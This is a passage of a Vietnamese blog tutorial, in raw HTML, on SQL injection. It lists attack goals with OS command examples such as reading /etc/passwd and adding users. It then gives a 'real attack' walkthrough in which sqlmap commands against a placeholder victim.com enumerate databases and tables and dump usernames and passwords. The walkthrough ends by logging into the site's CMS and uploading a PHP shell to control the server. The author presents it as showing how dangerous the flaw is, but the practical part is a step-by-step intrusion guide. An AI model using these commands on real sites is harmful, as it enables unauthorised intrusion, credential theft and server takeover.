MS",sans-serif;"> </span><div style="text-align: center;"> <span style="font-family: "Trebuchet MS",sans-serif;">Ví dụ: Database là MySQL + WebPlatform là PHP = Kết quả: không thể ghi hoặc xóa lên database nạn nhân.</span></div> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><ul> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Performing denial of service</strong>: Làm sập server thông qua lỗi SQLINjection (tham khảo <span style="color: red;"><strong><a href="http://www.rootrulerz.com/2011/07/anonymous-back-again-refref-for-dos.html" target="_blank"><span style="color: red;">TẤN CÔNG THEO PHƯƠNG PHÁP REFREF</span></a></strong></span>)</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Evading detection</strong>: dùng những “cheat” để không bị phát hiện (detection) cững như bị ghi lại hoạt động (auditing)</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Bypassing authentication</strong>: vượt quyền để có thể toàn quyền trên server.</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Executing remote commands</strong>: Điểm đặc biệt của SQL-Injection là có thể thực thi command của OS. </span><ul> <li><span style="font-family: "Trebuchet MS",sans-serif;">Ví dụ: <span style="color: red;"><strong>LINUX OS BASE</strong>:</span><span style="color: blue;"> ls | cat /etc/passwd | useradd | …</span> — <strong><span style="color: red;">WINDOWS OS BASE:</span></strong> <span style="color: blue;">net user | dir c:\ | query session | …</span></span></li> </ul> </li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Performing privilege escalation</strong>: Xác định quyền tối cao của current-user thông qua những lỗi mà server trả về. Bước  này ít quan trọng.</span></li> </ul> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><h2> <span style="font-family: Verdana,sans-serif;"><span style="color: red;">II. Những phong cách “khai thác” của SQL-Injection</span></span></h2> <span style="font-family: Verdana,sans-serif;"> </span><h3> <span style="font-family: Verdana,sans-serif;"><strong><span style="color: blue;">Có 05 loại chính:</span> <span style="color: magenta;">BEUST</span></strong></span></h3> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong><span style="color: magenta;">B</span>oolean-based blind SQL injection</strong>, còn được biết như là <strong>inferential SQL injection.</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong><span style="color: magenta;">E</span>rror-based SQL injection.</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong><span style="color: magenta;">U</span>NION query SQL injection.</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong><span style="color: magenta;">S</span>tacked queries SQL injection.</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong><span style="color: magenta;">T</span>ime-based blind SQL injection</strong>, còn được biết như làs <strong>full blind SQL injection.</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Tùy vào mỗi loại sẽ có một phương pháp riêng để khai thác. Trong bài viết này, mình không tập trung nhiều vào cơ chế, mà sẽ tiếp tục qua phần khai thác thực tế. (Tham khảo thêm tại <span style="color: blue;"><a href="http://sqlmap.sourceforge.net/doc/README.html#ss1.3" target="_blank"><span style="color: blue;"><strong>ĐÂY</strong></span></a></span>)</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><h2> <span style="font-family: Verdana,sans-serif;"><span style="color: red;">III.Tấn công thực tế</span></span></h2> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">Toys (Tools): Trên nền tảng Windows</span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">PYTHON 2.6 hoặc 2.7 | DOWNLOAD: <span style="color: blue;"><a href="http://www.python.org/ftp/python/2.7.3/python-2.7.3.msi" target="_blank"><span style="color: blue;"><strong>Windows 32bits</strong></span></a> </span> - <span style="color: blue;"> <a href="http://www.python.org/ftp/python/2.7.3/python-2.7.3.amd64.msi" target="_blank"><span style="color: blue;"><strong>Windows 64bits</strong></span></a></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">SQLMAP | <span style="color: red;"><strong><a href="http://sqlmap.sourceforge.net/" target="_blank"><span style="color: red;">DOWNLOAD</span></a></strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Cấu trúc URL:</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red;"><a href="https://minhtamnw.wordpress.com/wp-admin/post.php?post=32&action=edit&message=10" rel="nofollow">https://minhtamnw.wordpress.com/wp-admin/post.php?post=32&action=edit&message=10</a></span></span><br /> <ol><ul> <li><span style="font-family: "Trebuchet MS",sans-serif;">https: Protocol</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;"><span class="skimlinks-unlinked">minhtamnw.wordpress.com</span>: Tên miền</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;">/wp-admin: đường dẫn</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;">/<span class="skimlinks-unlinked">post.php</span>: Filename.Extention</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;">? : sau dấu ? sẽ là biến và giá trị biến</span></li> <li><span style="font-family: "Trebuchet MS",sans-serif;">post=32&action=edit&message=10  : biến post có giá trị 32, mỗi biến cách nhau bởi dấu &</span></li> </ul> </ol> </blockquote> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><em>Khai thác: Cài đặt Python và giải nén sqlmap vào C:\ như hình</em></span><br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnROAe85zEkZeODpUp8em2ce6CZA4-VpJCgTsZ8eySTBhr9vsGrPu9zuz1nypgB5U1qZfRtgX1pWMcPA6H480WXxdL4dp89xdaGrIegpbY8HZhTBxLljJT9pJRGuNlu6lzg_qAw-ADy6hl/s1600/sqlmap.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Khai Thác SQLi" border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnROAe85zEkZeODpUp8em2ce6CZA4-VpJCgTsZ8eySTBhr9vsGrPu9zuz1nypgB5U1qZfRtgX1pWMcPA6H480WXxdL4dp89xdaGrIegpbY8HZhTBxLljJT9pJRGuNlu6lzg_qAw-ADy6hl/s1600/sqlmap.jpg" title="SQLi" width="640" /></a></div> <span style="font-family: "Trebuchet MS",sans-serif;">Victim:<strong> <span style="color: red;"><a href="http://www.victim.com/content/banin.php?id=1" rel="nofollow">http://www.victim.com/content/banin.php?id=1</a></span></strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><strong><span class="skimlinks-unlinked">sqlmap.py</span> -u “<span class="skimlinks-unlinked">http://www.victim.com/content/banin.php?id=1</span>″ -p id -v 3 –dbs –no-cast</strong></span></span><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbxigNCS7nUz1HJp-q7OXJmkPU-XgQ7TANoznjFFPYKFLP9qlYU49e3xB0SUwstEk5PxDzYU3HUtJeYkr0pzHM12LAAGwN5g5fr0wMAwktacQW3jvA3rsKwG7mPQ3LkKc3fpajv1JPaJX5/s1600/attention2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbxigNCS7nUz1HJp-q7OXJmkPU-XgQ7TANoznjFFPYKFLP9qlYU49e3xB0SUwstEk5PxDzYU3HUtJeYkr0pzHM12LAAGwN5g5fr0wMAwktacQW3jvA3rsKwG7mPQ3LkKc3fpajv1JPaJX5/s1600/attention2.jpg" width="640" /></a></div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPs0RKwQO-ccePKKDKXdAe9BqUL4wvPvRVJtnFHpooNLQpY-kzhuIVabrDZ-Vsr5x5XxtHGmFpFuoNDIL23DF7XDgNziLVEME7v9c4hywAoiaIQ1ABiMCG9fcHCwWybzjGYQbrTwza4o6m/s1600/dbs2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPs0RKwQO-ccePKKDKXdAe9BqUL4wvPvRVJtnFHpooNLQpY-kzhuIVabrDZ-Vsr5x5XxtHGmFpFuoNDIL23DF7XDgNziLVEME7v9c4hywAoiaIQ1ABiMCG9fcHCwWybzjGYQbrTwza4o6m/s1600/dbs2.jpg" width="640" /></a></div> <br /> <span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><strong><span class="skimlinks-unlinked">sqlmap.py</span> -u “<span class="skimlinks-unlinked">http://www.victim.com/content/banin.php?id=1</span>″ -p id -v 3 -D </strong></span><span style="color: red;"><strong>database_found</strong><strong> <span style="color: blue;">–tables –no-cast</span></strong></span></span><br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsjN-pBz8QEQJUDaYHMiy7b9CzoHuIEFAQEPtTH3HUhSZRWX5nHupaixdn6-7nHm3sNUTjzjVKGBTmd70ks5k_Or5MX_EOa6OAV10lpCFfyTwbB5I3G-Y2i4ksNPJxE3u75UNlCfSSlUbk/s1600/tablesmisc.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsjN-pBz8QEQJUDaYHMiy7b9CzoHuIEFAQEPtTH3HUhSZRWX5nHupaixdn6-7nHm3sNUTjzjVKGBTmd70ks5k_Or5MX_EOa6OAV10lpCFfyTwbB5I3G-Y2i4ksNPJxE3u75UNlCfSSlUbk/s1600/tablesmisc.jpg" width="364" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP-HRiGovuGk5oRVUnXFWcMKYYV0-XdTpZL9pycjDK1ogVpOQiNx1DDe-_iKyysk7ltcPOmCYqpMdRs6w0lL6ecrP-CPXWkQ0po5xR4j10eYAEgFN3dBU95uEizq8OI7z0WNT4GYQ7rFrD/s1600/tables.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP-HRiGovuGk5oRVUnXFWcMKYYV0-XdTpZL9pycjDK1ogVpOQiNx1DDe-_iKyysk7ltcPOmCYqpMdRs6w0lL6ecrP-CPXWkQ0po5xR4j10eYAEgFN3dBU95uEizq8OI7z0WNT4GYQ7rFrD/s1600/tables.jpg" width="640" /></a></div> <span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: red;"><strong><span style="color: blue;"> </span></strong></span><span style="color: blue;"><strong><span class="skimlinks-unlinked">sqlmap.py</span> -u “<span class="skimlinks-unlinked">http://www.victim.com/content/banin.php?id=1</span>″ -p id -v 3 -D <span style="color: red;">database_found</span> -T<span style="color: red;">tbl_user</span> –columns –no-cast</strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="179" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/columns.jpg" width="520" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="color: blue;"><strong><span class="skimlinks-unlinked">sqlmap.py</span> -u “<span class="skimlinks-unlinked">http://www.victim.com/content/banin.php?id=1</span>″ -p id -D <strong> <span style="color: red;">database_found</span></strong> -T<span style="color: red;">tbl_user</span> –columns -C  <span style="color: red;">user_name,user_password</span> –dump –no-cast</strong></span></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="100" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/userpassword.jpg" width="520" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><strong>Và</strong><strong> bây giờ, chúng ta sẽ đăng nhập vào CMS của site nạn nhân và upload 1 shellcode_PHP để có thể điểu khiển được server</strong></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><img alt="" class="aligncenter" height="272" src="https://i0.wp.com/i1095.photobucket.com/albums/i463/aptx4869w/shell-1.jpg" width="620" /></span><br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;"><span style="text-decoration: underline;"><span style="color: red; text-decoration: underline;">Kết quả:</span></span> Sau khi tìm thấy lần lượt <strong><span style="color: red;">DATABASE > TABLE > COLUMNS > DATA</span> </strong>, ta có thể dùng chúng để đăng nhập và những CMS để thực hiện hành vi đen tối $_@. Trên đây chỉ là những hướng dẫn rất cơ bản để các bạn có thể hình dung được SQL INJECTION là gì và nó nguy hiểm như thế nào. Trong những bài viết tiếp theo, mình sẽ đi sâu hơn vào <strong><span style="color: blue;">10 điều “cần” và “phải” biết</span></strong> như đã đề cập ở đầu bài viết.</span><br /> <br /> <span style="font-family: "Trebuchet MS",sans-serif;"> </span><span style="font-family: "Trebuchet MS",sans-serif;">còn tiếp…</span></div>

SQL Injection Attack part.1

Bạn chuẩn bị đọc một loại lỗ hổng nguy hiểm bậc nhất thế giới! | có hơn  9.680.000  kết quả do  google   trả về với từ khóa “ SQL Inj...

Read More »